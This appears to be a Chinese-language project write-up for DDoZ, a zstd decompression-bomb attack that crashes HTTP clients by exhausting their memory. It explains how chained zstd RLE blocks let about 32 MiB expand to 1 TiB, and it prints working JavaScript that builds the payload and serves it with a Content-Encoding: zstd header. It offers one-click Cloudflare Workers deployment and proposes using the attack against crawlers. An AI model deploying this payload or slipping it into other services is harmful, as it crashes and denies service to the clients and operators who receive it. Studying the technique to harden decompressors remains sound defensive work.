DDoZ(Decompression Death of Zstandard) 是一个基于 zstd 压缩算法的客户端内存耗尽攻击演示项目。DDoZ 攻击通过发送特殊构造的 zstd 压缩响应,导致客户端在解压缩过程中消耗大量内存,从而引发内存溢出和崩溃。
在 kazutoiris/DDoZ 中支持 Cloudflare Workers 一键部署。同时提供了一个示例链接,用于测试 1TiB 解压大小对于客户端的影响。
Zstd ( Zstandard ) 是 Facebook 开发的一种快速无损压缩算法,具有高压缩比和快速解压缩的特点。根据 RFC8878 规定,一个 zstd 帧由多个块组织而成,块的类型有三种:原始块、RLE 块和压缩块。每个块的解压后大小被限制为了 128KiB 。
DDoZ 主要利用 RLE 块进行攻击。RLE 块的工作原理是重复单个字节值 Block_Size 次。一个 RLE 块由以下部分组成:
头部( 3 字节):包含块的元数据
单字节内容:需要重复的字节
因此,一个 4 字节的结构( 3 字节头 + 1 字节内容)可以产生最多 128KiB 的解压缩数据。通过链接多个 RLE 块,可以实现巨大的放大比( 32 MiB 响应可以解压出 1TiB 内容)。
客户端向服务器发送 HTTP 请求
服务器根据环境变量 DECOMPRESSED_SIZE_IN_GIB 确定生成的数据大小,并构造特殊的 zstd 压缩数据。
const initialData = new Uint8Array([0x28, 0xB5, 0x2F, 0xFD, 0x00, 0x38]); // ZSTD 帧头
const repeatPattern = new Uint8Array([0x02, 0x00, 0x10, 0x48]); // 连续 128KiB RLE 块
const repeatPattern2 = new Uint8Array([0x03, 0x00, 0x10, 0x48]); // 终止 128KiB RLE 块
const fullData = new Uint8Array(initialData.length + repeatPattern.length * decompressedSize);
fullData.set(initialData, 0);
for (let i = 0; i < decompressedSize; i++) {
fullData.set(i == decompressedSize - 1 ? repeatPattern2 : repeatPattern, initialData.length + i * repeatPattern.length);
}
设置响应头 Content-Encoding: zstd,指示客户端自动解压缩
headers.set("Content-Encoding", "zstd")
客户端接收到响应后自动开始解压缩过程
在解压缩过程中,客户端的内存使用量逐渐增长,最终导致客户端应用内存溢出并崩溃
DDoZ 展示了即使在现代安全防护措施下,仍可能利用压缩算法的特性发起新型攻击,因此在处理压缩内容时需要格外小心。基于这种攻击方式可以反制爬虫,耗尽爬虫资源。